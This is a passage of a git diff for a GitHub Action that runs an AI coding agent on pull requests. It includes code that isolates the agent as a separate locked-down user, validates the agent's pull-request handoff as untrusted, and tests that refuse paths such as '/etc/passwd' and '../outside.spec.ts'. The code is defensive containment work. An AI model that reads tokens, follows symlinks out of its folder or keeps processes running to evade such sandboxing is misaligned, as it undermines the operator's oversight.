"fragment") return false + expectDefinition = false + } + } + return depth === 0 +} + +/** + * The names and braces of a GraphQL document, with strings, comments, commas + * and whitespace skipped, read in one pass. Other punctuation is dropped: only + * names and braces decide what kind of document this is. Returns undefined for + * anything malformed, such as a string that never closes. + */ +function graphqlTokens(doc) { + const out = [] + let i = 0 + const n = doc.length + while (i < n) { + const c = doc[i] + if (c === "#") { + while (i < n && doc[i] !== "\n" && doc[i] !== "\r") i++ + continue + } + if (c === '"') { + if (doc.startsWith('"""', i)) { + // Block string: ends at the next """ that is not escaped as \""". + i += 3 + for (;;) { + if (i >= n) return undefined + if (doc.startsWith('\\"""', i)) { + i += 4 + continue + } + if (doc.startsWith('"""', i)) { + i += 3 + break + } + i++ + } + continue + } + // Plain string: one line only, with backslash escapes. + i++ + for (;;) { + if (i >= n) return undefined + const d = doc[i] + if (d === "\n" || d === "\r") return undefined + if (d === "\\") { + i += 2 + continue + } + i++ + if (d === '"') break + } + continue + } + if (c === "{" || c === "}") { + out.push(c) + i++ + continue + } + if (/[A-Za-z_]/.test(c)) { + let j = i + 1 + while (j < n && /[A-Za-z0-9_]/.test(doc[j])) j++ + out.push(doc.slice(i, j)) + i = j + continue + } + i++ + } + return out +} + +/** + * The CLI's request to open a pull request, checked before we act on it. + * + * The agent's run writes this file and the agent can change it, so nothing + * in it is trusted: the branch must be the CLI's own naming for this job and + * commit, the base must be a plain branch name, and the title and body are + * capped. Returns the cleaned request, or { error } saying why it was refused. + */ +export function checkPrHandoff(text, { sha } = {}) { + let req + try { + req = JSON.parse(String(text ?? "")) + } catch { + return { error: "the pull request request was not valid JSON" } + } + if (!req || typeof req !== "object") return { error: "the pull request request was empty" } + const workflow = String(req.workflow ?? "") + const commit = String(req.sha ?? "") + const branch = String(req.branch ?? "") + const base = String(req.base ?? "") + if (!/^(automate|fix)$/.test(workflow)) return { error: `no pull request is opened for "${workflow}"` } + if (!/^[0-9a-f]{7,40}$/.test(commit)) return { error: "the commit in the request is not a commit id" } + if (sha && commit !== sha) return { error: "the request is for a different commit than this run" } + if (branch !== `tc/${workflow}/${commit}`) return { error: `the branch "${branch}" is not the one this job uses` } + if (!isPlainBranchName(base)) return { error: `"${base}" is not a branch name we will open a pull request against` } + const title = String(req.title ?? "").slice(0, 256) + const body = String(req.body ?? "").slice(0, 60000) + return { workflow, sha: commit, branch, base, title: title || `tc ${workflow}: ${commit}`, body } +} + +/** A branch name with nothing git or a URL could read as something else. */ +export function isPlainBranchName(name) { + const n = String(name ?? "") + return ( + n.length > 0 && + n.length <= 200 && + /^[A-Za-z0-9._/-]+$/.test(n) && + !n.startsWith("-") && + !n.startsWith("/") && + !n.endsWith("/") && + !n.endsWith(".") && + !n.endsWith(".lock") && + !n.includes("..") && + !n.includes("//") + ) +} + +/** + * What `tc workflow claim` printed, read defensively. The CLI is ours, but + * an older one does not have the command at all, and anything unexpected + * must read as "we do not hold a claim", never as "already done". + */ +export function readClaimResult(stdout, status) { + let parsed + try { + parsed = JSON.parse(String(stdout ?? "").trim().split("\n").pop()) + } catch { + return { result: "error" } + } + const result = String(parsed?.result ?? "") + const known = ["claimed", "collision", "released", "not-applicable"] + if (!known.includes(result)) return { result: "error" } + if (result === "collision" && status !== 3) return { result: "error" } + return { result, workflow: String(parsed?.workflow ?? ""), ref: String(parsed?.ref ?? "") } +} diff --git a/test-companion/src/sandbox.mjs b/test-companion/src/sandbox.mjs new file mode 100644 index 0000000..b8cf7e3 --- /dev/null +++ b/test-companion/src/sandbox.mjs @@ -0,0 +1,197 @@ +/** + * Setting up, and taking down, the locked-down user the agent runs as. + * + * The rules and the reasons are in sandbox-policy.mjs. This file is the part + * that acts on the machine, through `sudo`, which a GitHub-hosted runner gives + * the job without a password. A runner without it cannot isolate the agent, + * and canIsolate says so. + * + * Every command here runs BEFORE the agent starts or AFTER it has been + * stopped, and finds its programs by absolute path. + */ +import { spawnSync } from "node:child_process" +import { closeSync, constants, copyFileSync, existsSync, fstatSync, openSync, readSync, writeFileSync } from "node:fs" +import { userInfo } from "node:os" +import { AGENT_USER, LAUNCHER_SOURCE, sandboxLayout } from "./sandbox-policy.mjs" + +const SUDO = "/usr/bin/sudo" + +function sudo(args, input) { + const r = spawnSync(SUDO, ["-n", ...args], { encoding: "utf8", input, env: { PATH: "/usr/sbin:/usr/bin:/sbin:/bin" } }) + return { ok: r.status === 0, out: (r.stdout ?? "").trim(), err: (r.stderr ?? r.error?.message ?? "").trim() } +} + +/** + * Whether this machine can run the agent as a separate user, and if not, why. + * Needs Linux, password-free sudo, and the two tools we use (setpriv to + * switch user, setfacl to share the checkout). + */ +export function canIsolate() { + if (process.platform !== "linux") return { ok: false, why: "this is not a Linux runner" } + if (!existsSync(SUDO)) return { ok: false, why: "sudo is not installed" } + const s = sudo(["true"]) + if (!s.ok) return { ok: false, why: "this job cannot use sudo without a password" } + for (const tool of ["/usr/bin/setpriv", "/usr/bin/setfacl"]) { + if (!existsSync(tool)) return { ok: false, why: `${tool} is not installed` } + } + return { ok: true } +} + +/** Write a file as root with the given owner and mode. */ +function writeAs(path, content, owner, mode) { + const w = sudo(["tee", path], content) + if (!w.ok) throw new Error(`could not write ${path}: ${w.err}`) + must(sudo(["chown", owner, path]), `chown ${path}`) + must(sudo(["chmod", mode, path]), `chmod ${path}`) +} + +function must(r, what) { + if (!r.ok) throw new Error(`${what} failed: ${r.err || "no detail"}`) + return r +} + +/** + * Create the agent's user and folders, share the checkout with it, give it + * its own copy of the CLI and a gh that talks only to the relay. + * + * `repoDir` is the checked-out repository. `tcPath` is the CLI we installed. + * Throws with a plain reason if any step fails; the caller decides whether + * to stop or carry on unisolated. + */ +export function prepareSandbox({ repoDir, tcPath }) { + const layout = sandboxLayout() + const me = userInfo().username + + // The user. On a fresh hosted runner it never exists; on a reused + // self-hosted one it may, from an earlier job. + if (!sudo(["id", "-u", AGENT_USER]).ok) { + must(sudo(["useradd", "--create-home", "--shell", "/bin/bash", AGENT_USER]), "creating the agent user") + } + // It must have no admin rights. The default sudoers grants a new user + // nothing; this checks that no rule on this machine says otherwise. + const rules = sudo(["-l", "-U", AGENT_USER]) + if (/may run the following commands/i.test(rules.out)) { + throw new Error(`${AGENT_USER} has sudo rights on this machine, so it would not be locked down`) + } + + // Anything a previous job's agent left running stops now. + sudo(["pkill", "-KILL", "-u", AGENT_USER]) + sudo(["umount", layout.work]) + + must(sudo(["rm", "-rf", layout.root]), "clearing the agent's folder") + must(sudo(["mkdir", "-p", layout.work, layout.in, layout.out, layout.relay, layout.tmp]), "creating the agent's folders") + must(sudo(["chmod", "755", layout.root, layout.work]), "chmod root") + must(sudo(["chown", `${me}:${me}`, layout.in]), "chown in") + must(sudo(["chmod", "755", layout.in]), "chmod in") + must(sudo(["chown", `${AGENT_USER}:${AGENT_USER}`, layout.out, layout.tmp]), "chown out") + must(sudo(["chmod", "755", layout.out]), "chmod out") + must(sudo(["chmod", "700", layout.tmp]), "chmod tmp") + // The relay's folder: ours, and readable only by the agent's group, so + // nothing else on the machine can reach the socket inside it. + must(sudo(["chown", `${me}:${AGENT_USER}`, layout.relay]), "chown relay") + must(sudo(["chmod", "750", layout.relay]), "chmod relay") + + // Share the checkout. ACLs give the agent read and write without changing + // who owns the files, and the "default" entries make files either of us + // creates usable by the other. Then the checkout is mounted inside the + // agent's folder, so it never has to walk through our home to reach it. + must( + sudo(["setfacl", "-R", "-m", `u:${AGENT_USER}:rwX,d:u:${AGENT_USER}:rwX,u:${me}:rwX,d:u:${me}:rwX,m::rwx,d:m::rwx`, repoDir]), + "sharing the checkout", + ) + must(sudo(["mount", "--bind", repoDir, layout.work]), "mounting the checkout") + + // The agent's own copy of the CLI, in its own home. It may change it; it + // only ever runs as the agent, and we never run this copy. + must(sudo(["mkdir", "-p", layout.bin, layout.ghConfig]), "creating the agent's home folders") + must(sudo(["cp", tcPath, `${layout.bin}/tc`]), "copying the CLI") + must(sudo(["chmod", "755", `${layout.bin}/tc`]), "chmod tc") + + // gh, pointed at the relay. The token is a placeholder: the relay + // replaces it on the requests it allows, and nothing else accepts it. + writeAs(`${layout.ghConfig}/config.yml`, `http_unix_socket: ${layout.socket}\nprompt: disabled\n`, `${AGENT_USER}:${AGENT_USER}`, "600") + writeAs( + `${layout.ghConfig}/hosts.yml`, + `github.com:\n oauth_token: relayed-by-test-companion\n user: ${AGENT_USER}\n git_protocol: https\n`, + `${AGENT_USER}:${AGENT_USER}`, + "600", + ) + // git refuses a repository owned by another user unless told it is safe. + // And a name to commit under: the CLI commits automate's and fix's work + // on their own branch before handing it back. + writeAs( + `${layout.home}/.gitconfig`, + `[safe]\n\tdirectory = ${layout.work}\n[user]\n\tname = Test Companion\n\temail = test-companion[bot]@users.noreply.github.com\n`, + `${AGENT_USER}:${AGENT_USER}`, + "644", + ) + must(sudo(["chown", "-R", `${AGENT_USER}:${AGENT_USER}`, `${layout.home}/.local`, `${layout.home}/.config`]), "chown home") + // The launcher asAgentCommand runs. Ours, readable by the agent. + writeFileSync(`${layout.in}/launch.mjs`, LAUNCHER_SOURCE, { mode: 0o644 }) + return { ...layout, launcher: `${layout.in}/launch.mjs` } +} + +/** + * Hand the agent its environment in a file only its user can read. The + * launcher deletes it as soon as it has read it. Returns the path. + */ +export function writeAgentEnv(layout, env, name = "env.json") { + const path = `${layout.tmp}/${name}` + writeAs(path, JSON.stringify(env), `${AGENT_USER}:${AGENT_USER}`, "600") + return path +} + +/** + * Stop everything the agent started and unmount the checkout. Run after the + * agent's run, BEFORE anything reads its files or commits its work: a + * process it left in the background could otherwise keep changing the tree + * while we save it. + */ +export function stopSandbox(layout) { + sudo(["pkill", "-KILL", "-u", AGENT_USER]) + const u = sudo(["umount", layout.work]) + return { unmounted: u.ok } +} + +/** Copy one of our files into the agent's `in` folder. Returns the new path. */ +export function handToAgent(layout, from, name) { + const to = `${layout.in}/${name}` + copyFileSync(from, to) + return to +} + +/** Write content into the agent's `in` folder. Returns the path. */ +export function writeForAgent(layout, name, content) { + const to = `${layout.in}/${name}` + writeFileSync(to, content) + return to +} + +/** + * Read a file the agent's run wrote, without trusting it. + * + * The agent owns the folder, so the name could be a link to one of our own + * files: read through a link, its contents would land in the pull request + * comment. O_NOFOLLOW refuses a link, and only a regular file of a sane size + * is read. Returns undefined for anything else. + */ +export function readAgentFile(path, maxBytes = 2 * 1024 * 1024) { + let fd + try { + fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK) + const st = fstatSync(fd) + if (!st.isFile() || st.size > maxBytes) return undefined + const buf = Buffer.alloc(st.size) + let got = 0 + while (got < st.size) { + const n = readSync(fd, buf, got, st.size - got, got) + if (n === 0) break + got += n + } + return buf.subarray(0, got).toString("utf8") + } catch { + return undefined + } finally { + if (fd !== undefined) closeSync(fd) + } +} diff --git a/test-companion/src/starter.mjs b/test-companion/src/starter.mjs new file mode 100644 index 0000000..da5bc32 --- /dev/null +++ b/test-companion/src/starter.mjs @@ -0,0 +1,139 @@ +/** + * The first run, when nothing is configured yet. + * + * A repository with no testcompanion-pipeline.yml would otherwise get a red + * build naming a file nobody has heard of. Instead it gets a clean pass and + * the file it needs, ready to copy. + * + * Handled here rather than in the CLI: making `tc workflow run` succeed on a + * missing config would swallow a real misconfiguration for every pipeline + * already relying on that error. + */ + +/** The pipeline file we hand someone who has none. */ +export const STARTER_PIPELINE = `# Test Companion — what runs, and when. +# +# Every entry below is a JOB BINDING: a workflow, the event that starts it, and +# the limits it runs under. Delete what you do not want; nothing fires unless it +# is listed here. +# +# Everything starts in preview, which means Test Companion reports what it WOULD +# have done and writes nothing. Change a job to \`mode: live\` once you have seen +# a preview run you are happy with. + +version: 1 + +workflows: + # Generate test cases for the change in a pull request. + - name: cases-for-this-pr + workflow: generate + on: pr_opened + mode: preview + limits: + time: 20m + credits: 300 + + # Explain a red build. Runs only when a build actually failed. + - name: explain-the-failure + workflow: rca + on: build_failed + mode: preview + limits: + time: 20m + credits: 300 + + # Ask for anything by commenting "@browserstack ..." on a pull request. + # + # Live AND gated, which is the safe pairing rather than a contradiction: a + # gated request first runs in preview to produce its proposal, and only a run + # someone approved with "go" is allowed to write anything. + - name: on-request + workflow: test-pr + on: pr_comment + mode: live + approval: review-before-run + limits: + time: 30m + credits: 500 +` + +/** + * The pull request that adds the starter settings file. + * + * The detected framework is recorded when we can tell what it is, and left out + * when we cannot — a starter naming Cypress at a Playwright shop would claim an + * understanding we do not have. + */ +export function starterPipelineFor(framework) { + const name = String(framework ?? "").trim() + if (!name) return STARTER_PIPELINE + return STARTER_PIPELINE.replace("version: 1", `# Detected test framework: ${name}.\nversion: 1`) +} + +export function renderSetupPr(configPath, framework) { + const name = String(framework ?? "").trim() + return { + branch: "test-companion-setup", + title: "Add Test Companion settings", + body: [ + `This adds \`${configPath}\`, which is where you say what Test Companion should run and when.`, + ...(name ? ["", `Your suite looks like **${name}**, which is recorded in the file.`] : []), + "", + "Nothing runs until this merges — the settings are deliberately read from the default branch, so a pull request cannot change the rules for its own run.", + "", + "Everything except the comment binding starts in preview, which reports what it would have done and writes nothing. Change a job to `mode: live` once you have seen a preview you are happy with.", + ].join("\n"), + } +} + +/** + * Where the pipeline file lives: the flag, then TC_PIPELINE_CONFIG, then the + * repository root. + * + * Mirrors the CLI's own resolution exactly. Checking a different path than + * the CLI reads would be worse than not checking: the Action would announce + * "nothing is configured" to a repository that is. + */ +export function pipelineConfigPath(configInput, env = {}) { + const flag = (configInput ?? "").trim() + if (flag) return flag + const fromEnv = (env.TC_PIPELINE_CONFIG ?? "").trim() + if (fromEnv) return fromEnv + return "testcompanion-pipeline.yml" +} + +/** + * What the job page says when there is no pipeline file. Deliberately free of + * the words "error" and "failed": nothing went wrong, there is just nothing to + * run yet. + */ +export function renderNoPipelineReport(path) { + return [ + "## Test Companion", + "", + `Nothing to run yet — this repository has no \`${path}\`, so no jobs are set up.`, + "", + `Add the file below to the root of the repository and Test Companion will start on the next pull request. Everything in it runs in **preview**, which reports what it would have done and writes nothing.`, + "", + "```yaml", + STARTER_PIPELINE.trimEnd(), + "```", + "", + ].join("\n") +} + +/** + * Which branch the settings file is read from: always the default branch. + * + * Read from the branch under test, a pull request could rewrite the rules for + * its own run and be obeyed — switch itself from preview to live, delete its + * spending limit, or point its Test Management writes elsewhere. + * + * Deliberate consequence: a pull request that ADDS the settings file for the + * first time is not picked up until it merges. + */ +export function settingsRef(payload = {}, env = {}) { + // Guessing "main" last is safe: the worst case is "no settings file", which + // is a clean skip, not a run obeying rules the pull request wrote. + return payload?.repository?.default_branch || env.GITHUB_DEFAULT_BRANCH || "main" +} diff --git a/test-companion/src/ticket.mjs b/test-companion/src/ticket.mjs new file mode 100644 index 0000000..1b5a6d3 --- /dev/null +++ b/test-companion/src/ticket.mjs @@ -0,0 +1,72 @@ +/** + * The ticket this change is for. + * + * A run tests against what the ticket asks for, not only what the diff does, + * so finding the key comes first. People put it in the branch name far more + * often than anywhere else, but the title is where they correct it. + * + * Pure: three strings in, a key or nothing out. + */ + +/** + * A Jira-style key: a project of two or more letters, a hyphen, a number. + * + * Each lookaround guards a different mistake: + * (?- + test-companion-${{ github.event.pull_request.number + || github.event.issue.number + || github.run_id }}${{ + (github.event.action == 'closed' + || startsWith(github.event.comment.body, '@browserstack stop')) + && '-control' || '' }} + # Queue rather than cancel: a run already in flight has spent credits, and + # the newer one waits its turn instead of superseding it. Control events + # are in their own group, so this no longer delays them. + cancel-in-progress: false + +jobs: + test-companion: + runs-on: ubuntu-latest + timeout-minutes: 35 + # Don't boot a runner for a conversation we are not part of. + # + # Without this, EVERY comment on every pull request started a job that + # cloned the repository, installed the CLI and signed in to + # BrowserStack, only to decide "not addressed to us" and stop. On a + # busy repository that is most of the runs. + # + # This is a quick, loose first filter, not the real decision. These + # expressions can only test whether the text CONTAINS something, so a + # comment holding an email address such as someone@browserstack.com + # still gets through. The Action then reads the comment properly, sees + # it was not addressed to it, and stops without posting anything on + # the pull request. The cost is one short job in the Actions tab. Do + # not try to tighten this line: anything stricter than "contains" here + # would also drop real requests. + # + # The last two lines are the bare approval: a proposal says "reply + # go", and people reply without a mention. String comparison in these + # expressions is case-insensitive, so `Go` is covered. + if: >- + github.event_name != 'issue_comment' + || contains(github.event.comment.body, '@browserstack') + || startsWith(github.event.comment.body, 'go') + || startsWith(github.event.comment.body, 'approve') + # Keep this block, App or not. Without it the workflow token falls back + # to your repository's default, which can be write access to + # everything, and Test Companion still uses that token when the App + # cannot be reached. + permissions: + contents: write # branches and commits for fix / reconcile jobs + pull-requests: write # the one comment, and opening a pull request + checks: write # the "Test Companion" check + actions: write # reading the red run, and cancelling one when a PR closes + steps: + # v4.4.0. Pinned to a commit because a tag can be repointed by + # whoever owns it, and this step runs in YOUR job with YOUR token. + # Safe to bump whenever you like — it is your workflow now. + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 + with: + fetch-depth: 0 # jobs that look at what changed need history + # The workflow token would otherwise be left in .git/config, + # where any shell command the agent chooses to run can read + # it — and it carries `contents: write`. Test Companion does + # not need it there: it authenticates its own push. + persist-credentials: false + + # A fixed release. Version tags in this repository cover every + # action in it, so there is no floating tag for Test Companion + # alone. Move to a newer release when you choose, or let + # Dependabot propose it. For the strongest pin, replace the tag + # with the release's full commit SHA. + # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag + - uses: browserstack/github-actions/test-companion@v1.1.0 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} + # PIN THE CLI once you know which version you want. Without + # a pin the CLI upgrades itself the first time it runs on a + # release day: your pipeline spends time on a download, and + # two runs a day apart are not the same software. + # + # Both lines or neither. A version with no checksum is + # REFUSED — "refusing an unverified pinned install" — and the + # job stops before it reports anything. Take both from the + # release you tested with. + # cli-version: "1.2.0" + # cli-sha256: "" + # With the App installed, uncomment these. Keep the + # permissions block above either way: the workflow token is + # still the fallback when the App cannot be reached. + # app-id: ${{ secrets.TEST_COMPANION_APP_ID }} + # app-private-key: ${{ secrets.TEST_COMPANION_APP_PRIVATE_KEY }} + # Manual runs only; event-driven runs read the pipeline file. + workflow: ${{ inputs.workflow }} + preview: ${{ inputs.preview }} diff --git a/test-companion/test/access.test.mjs b/test-companion/test/access.test.mjs new file mode 100644 index 0000000..3a66e0d --- /dev/null +++ b/test-companion/test/access.test.mjs @@ -0,0 +1,80 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { mayAsk } from "../src/access.mjs" + +describe("mayAsk", () => { + test("write access is enough when no team is named", () => { + assert.equal(mayAsk({ hasWriteAccess: true }), true) + }) + + test("without write access, nothing else matters", () => { + assert.equal(mayAsk({ hasWriteAccess: false }), false) + }) + + /** + * the pipeline file "MAY narrow this to a named team and SHALL NOT + * widen it". Being on the team is never a way IN for someone who cannot + * write to the repository — a run executes an agent with --yolo against the + * customer's own machine and credentials. + */ + test("being on the team does not widen past write access", () => { + assert.equal(mayAsk({ hasWriteAccess: false, askTeam: "qa-leads", inTeam: true }), false) + }) + + test("with a team named, a member may ask", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: true }), true) + }) + + test("with a team named, a non-member may not", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: false }), false) + }) + + // Fails CLOSED, like hasWriteAccess itself: an unanswerable "are they on the + // team?" — no token for the org, API down, rate limited — is a no. + test("an unanswerable membership question is a no", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: undefined }), false) + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: null }), false) + }) + + test("an empty team name is no narrowing at all", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "", inTeam: false }), true) + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: " ", inTeam: false }), true) + }) +}) + +import { describeTestRepoAccess } from "../src/access.mjs" + +describe("describeTestRepoAccess", () => { + test("no separate repository means this one, which always works", () => { + assert.equal(describeTestRepoAccess({ thisRepo: "acme/shop" }).ok, true) + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop", thisRepo: "acme/shop" }).ok, true) + }) + + test("a separate repository we can push to is fine", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop", canPush: true }).ok, true) + }) + + /** + * "without either, the run SHALL write nothing there and the summary + * SHALL say which is missing." Naming what is missing is the requirement + * a bare "permission denied" halfway through a run leaves someone guessing + * between the App and a token. + */ + test("without access, it says so and names both ways to fix it", () => { + const d = describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop", canPush: false }) + assert.equal(d.ok, false) + assert.match(d.message, /acme\/shop-tests/) + assert.match(d.message, /App/) + assert.match(d.message, /token/i) + }) + + // Fails closed: an unanswerable "can we push?" must not start a run that + // discovers the answer halfway through, after spending credits. + test("an unanswerable question is a no", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop" }).ok, false) + }) + + test("case differences are the same repository", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "Acme/Shop", thisRepo: "acme/shop" }).ok, true) + }) +}) diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs new file mode 100644 index 0000000..53af621 --- /dev/null +++ b/test-companion/test/action-yml.test.mjs @@ -0,0 +1,139 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { fileURLToPath } from "node:url" +import { dirname, join } from "node:path" + +const actionYml = readFileSync(join(dirname(fileURLToPath(import.meta.url)), "..", "action.yml"), "utf8") + +/** The composite steps, split on the step marker so each carries its own env. */ +const steps = actionYml.split(/\n {8}- name: /).slice(1) +const nameOf = (s) => s.split("\n")[0].trim() + +describe("action.yml — every step that runs tc must pin it", () => { + /** + * Found live on 2026-10-29, the day tc 1.1.9 shipped. + * + * The pin was set on the Run step only. But `Sign in` runs `tc auth login` + * FIRST, unpinned, so the CLI self-upgraded there — and the Run step then + * correctly reported a mismatch against the very binary the pin existed to + * preserve: + * + * tc is pinned to version 1.1.8 but the installed binary is 1.1.9 + * + * So asking for a pinned version MADE THE RUN FAIL, which is the exact + * opposite of what promises. The spec lists as "Done, but NEVER + * EXECUTED"; this is what was hiding in it. + * + * `tc --version` is exempt: upgrade.shouldSkip returns true for it, because + * swapping the binary before reporting its version would defeat the point + * of asking. + */ + // Directly (`tc auth login`) or indirectly — the Run step shells out to + // main.mjs, which spawns tc for the workflow run and for `workflow + // bindings`. Both need the pin; only one of them says "tc" in the YAML. + const runsTc = (body) => { + const withoutVersionChecks = body.replace(/^.*--version.*$/gm, "") + return /(^|[\s"'`/])tc\s/m.test(withoutVersionChecks) || /main\.mjs/.test(withoutVersionChecks) + } + + for (const step of steps) { + const name = nameOf(step) + if (!runsTc(step)) continue + test(`"${name}" sets TC_PIN_VERSION`, () => { + assert.match( + step, + /TC_PIN_VERSION:/, + `step "${name}" runs tc without the pin, so the CLI can self-upgrade before a later pinned step rejects it`, + ) + }) + } + + test("at least one step was actually checked, so this cannot pass vacuously", () => { + const checked = steps.filter(runsTc).map(nameOf) + assert.ok(checked.length >= 2, `expected at least the sign-in and run steps, checked: ${checked.join(", ")}`) + }) +}) + +/** + * A live run's dedupe claim is a real `git push` to origin, and the workflow + * sets `persist-credentials: false`, so git has no credential for it. Pointing + * git at gh's stored credential fixes that without putting a token in any + * environment variable. + * + * The teardown is the part worth pinning. The helper goes in the GLOBAL git + * config, which outlives the job on a self-hosted runner, and it points at a + * config dir the cleanup deletes. Left behind, the next job on that runner + * gets a helper that answers nothing and a git command that stops to ask for + * a password instead of failing. + */ +describe("action.yml — git's credential helper is cleaned up", () => { + test("git is pointed at gh's credential", () => { + assert.match(actionYml, /gh auth setup-git/, "a live run's dedupe claim has no credential to push with") + }) + + test("it is scoped to one host, not every remote", () => { + assert.match(actionYml, /gh auth setup-git --hostname github\.com/) + }) + + test("whatever sets the helper also unsets it", () => { + if (!/gh auth setup-git/.test(actionYml)) return + // `--unset` WITH A VALUE PATTERN, not `--unset-all`. The blanket form + // removed every helper for that URL, including ones the runner's owner + // set up before us, and ran even when our own setup-git had failed + // + assert.match( + actionYml, + /--unset "credential:\/\/\$host\.helper"|--unset "credential\.https:\/\/\$host\.helper"/, + "a self-hosted runner keeps a helper pointing at a deleted config dir", + ) + }) + + test("the teardown runs even when the job failed", () => { + const teardown = actionYml.slice(actionYml.indexOf("Take gh's credentials back off the runner")) + assert.match(teardown.slice(0, 200), /if: always\(\)/) + }) + + // Set up after the login succeeds, not before: there is nothing stored to + // hand git until then. + test("the helper is set up only on the successful-login path", () => { + const login = actionYml.indexOf("gh auth login --with-token") + const setup = actionYml.indexOf("gh auth setup-git") + assert.ok(login !== -1 && setup > login, "setup-git runs before there is a credential to use") + }) +}) + +/** + * The cleanup must not damage a + * self-hosted runner's own git configuration. + */ +describe("action.yml — the cleanup only removes what this job added", () => { + test("it never uses the blanket --unset-all on a credential helper", () => { + assert.doesNotMatch( + actionYml, + /--unset-all credential\./, + "that removes every helper for the host, including the runner owner's", + ) + }) + + test("and it only runs when this job actually added one", () => { + assert.match(actionYml, /TC_ADDED_GIT_HELPER/, "a failed setup-git must not trigger a cleanup of somebody else's helper") + }) +}) + +/** + * `gh auth setup-git` writes TWO values per host: an + * empty helper that clears any general helper inherited from a broader scope, + * and then its own. Removing only the second leaves the runner's own helper + * disabled for that host. + */ +describe("action.yml — the cleanup removes both of setup-git's entries", () => { + test("the empty helper is unset too", () => { + assert.match(actionYml, /--unset "credential[^"]*\.helper" '\^\$'/, "an empty helper keeps a general one disabled") + }) + + test("and the config dir is only deleted when this job created it", () => { + assert.match(actionYml, /TC_OWNS_GH_CONFIG_DIR/) + assert.match(actionYml, /leaving it alone/, "a runner that exports GH_CONFIG_DIR itself must keep its own credentials") + }) +}) diff --git a/test-companion/test/annotations.test.mjs b/test-companion/test/annotations.test.mjs new file mode 100644 index 0000000..be4477f --- /dev/null +++ b/test-companion/test/annotations.test.mjs @@ -0,0 +1,90 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { parseFailedTests, buildAnnotations, MAX_ANNOTATIONS } from "../src/annotations.mjs" + +const REPORT = [ + "workflow: test", + "failed_test: Checkout > pays\ttests/checkout.spec.ts:18", + "failed_test: Checkout > refunds\ttests/checkout.spec.ts", + "failed_test: should log in", + "outcome: failed", +].join("\n") + +describe("parseFailedTests — reading the report back", () => { + // parseSummary builds an object, so repeated keys collapse and only the + // last failing test would survive. These need their own reader. + test("keeps every failing test, not just the last one", () => { + assert.equal(parseFailedTests(REPORT).length, 3) + }) + + test("splits the name from the location on the tab", () => { + const [first] = parseFailedTests(REPORT) + assert.deepEqual(first, { name: "Checkout > pays", file: "tests/checkout.spec.ts", line: 18 }) + }) + + test("handles a file with no line", () => { + assert.deepEqual(parseFailedTests(REPORT)[1], { name: "Checkout > refunds", file: "tests/checkout.spec.ts" }) + }) + + test("handles a test with no location at all", () => { + assert.deepEqual(parseFailedTests(REPORT)[2], { name: "should log in" }) + }) + + test("returns nothing for a report with no failures, or no report", () => { + assert.deepEqual(parseFailedTests("outcome: succeeded"), []) + assert.deepEqual(parseFailedTests(undefined), []) + }) + + // A name is whatever the reporter printed. It must never be read as a + // location, which is why the writer separates them with a tab. + test("a colon in the test name is not a location", () => { + const [t] = parseFailedTests("failed_test: handles a:b\treal.spec.ts:4") + assert.deepEqual(t, { name: "handles a:b", file: "real.spec.ts", line: 4 }) + }) +}) + +describe("buildAnnotations", () => { + test("puts a failure on the line the test is declared on", () => { + const [a] = buildAnnotations([{ name: "Checkout > pays", file: "tests/checkout.spec.ts", line: 18 }]) + assert.equal(a.path, "tests/checkout.spec.ts") + assert.equal(a.start_line, 18) + assert.equal(a.end_line, 18) + assert.equal(a.annotation_level, "failure") + assert.match(a.message, /Checkout > pays/) + }) + + // GitHub rejects an annotation with no line. A file with no line is still + // worth pointing at, so it goes on line 1 — and the message says so, rather + // than silently implying the failure is on the first line. + test("falls back to the top of the file and says so", () => { + const [a] = buildAnnotations([{ name: "Checkout > refunds", file: "tests/checkout.spec.ts" }]) + assert.equal(a.start_line, 1) + assert.match(a.message, /line .*(not|unknown)|which line/i) + }) + + // Nowhere to point means no annotation. Inventing a path would put a + // failure on a file that has nothing to do with it. + test("skips a test with no file, rather than guessing one", () => { + assert.deepEqual(buildAnnotations([{ name: "should log in" }]), []) + }) + + // GitHub accepts at most 50 annotations per request. A suite with 300 + // failures must not silently lose the whole set to a rejected call. + test("never sends more than GitHub accepts", () => { + const many = Array.from({ length: 300 }, (_, i) => ({ name: `t${i}`, file: "a.spec.ts", line: i + 1 })) + assert.equal(buildAnnotations(many).length, MAX_ANNOTATIONS) + assert.ok(MAX_ANNOTATIONS <= 50) + }) + + test("nothing failed, nothing to annotate", () => { + assert.deepEqual(buildAnnotations([]), []) + assert.deepEqual(buildAnnotations(undefined), []) + }) + + // An absolute path, or one climbing out of the repository, annotates + // nothing on GitHub and may point at a file outside the checkout. + test("refuses a path that is not inside the repository", () => { + assert.deepEqual(buildAnnotations([{ name: "t", file: "/etc/passwd", line: 1 }]), []) + assert.deepEqual(buildAnnotations([{ name: "t", file: "../outside.spec.ts", line: 1 }]), []) + }) +}) diff --git a/test-companion/test/answer.test.mjs b/test-companion/test/answer.test.mjs new file mode 100644 index 0000000..50c34b5 --- /dev/null +++ b/test-companion/test/answer.test.mjs @@ -0,0 +1,193 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { createAnswerCapture, runCapturingAnswer, MAX_PARTIAL_LINE } from 